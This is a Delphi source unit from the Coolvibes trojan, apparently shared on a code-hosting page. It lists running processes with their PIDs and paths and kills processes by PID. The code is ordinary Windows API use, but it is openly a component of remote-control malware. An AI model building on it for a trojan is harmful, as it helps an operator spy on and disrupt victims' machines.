unitprocess.pas

来自「Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 」· PAS 代码 · 共 75 行

PAS
75
字号
{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
relaccionadas con los procesos del sistema}
unit UnitProcess;

interface

uses
  Windows,
  SysUtils,
  TLhelp32,
  PsAPI;

  function GetProc():String;
  function TerminarProceso(PID: String): Boolean;
  function RutaProcesos(PID: DWORD): string;

implementation

//Procesos +pid separados por |
function GetProc():String;
var
  Proceso : TProcessEntry32;
  ProcessHandle : THandle;
  HayOtroProceso   : Boolean;
begin
  Proceso.dwSize := SizeOf(TProcessEntry32);
  ProcessHandle := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if Process32First(ProcessHandle, Proceso) then  //Si encuentra el primer proceso
  begin
    Result:= String(Proceso.szExeFile) + '|'+ IntToStr(Proceso.th32ProcessID)+'|'+ string(RutaProcesos(Proceso.th32ProcessID))+'|';
    repeat HayOtroProceso := Process32Next(ProcessHandle, Proceso);
      if HayOtroProceso then
        Result:=Result + String(proceso.szExeFile) + '|'+ IntToStr(Proceso.th32ProcessID)+'|'+ string(RutaProcesos(Proceso.th32ProcessID))+'|';
    until not HayOtroProceso; //Y esto se repite hasta que Process32Next retorne False
  end;
  CloseHandle(ProcessHandle);
end;

//Cierra el proceso con PID. Si sale bien, devuelve true
function TerminarProceso(PID: String): Boolean;
var
  ProcessHandle : THandle;
begin
  try ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, TRUE, StrToInt64(PID));
    if TerminateProcess(ProcessHandle ,0) then
      Result := True
  except
    Result := False;
  end;
end;

//Obtenemos la ruta del ejecutable del proceso
function RutaProcesos(PID: DWORD): string;
var
Handle: THandle;
begin
  Result := 'Desconocido';
  Handle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False, PID);
    if Handle <> 0 then   //Si el proceso existe
       try
         SetLength(Result, MAX_PATH);
            begin
               if GetModuleFileNameEx(Handle, 0, PChar(Result), MAX_PATH) > 0 then  //Obtenemos path del proceso
                    SetLength(Result, StrLen(PChar(Result)))
               else
                    Result := 'Desconocido';
               end
       finally
         CloseHandle(Handle);
    end;
end;


end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?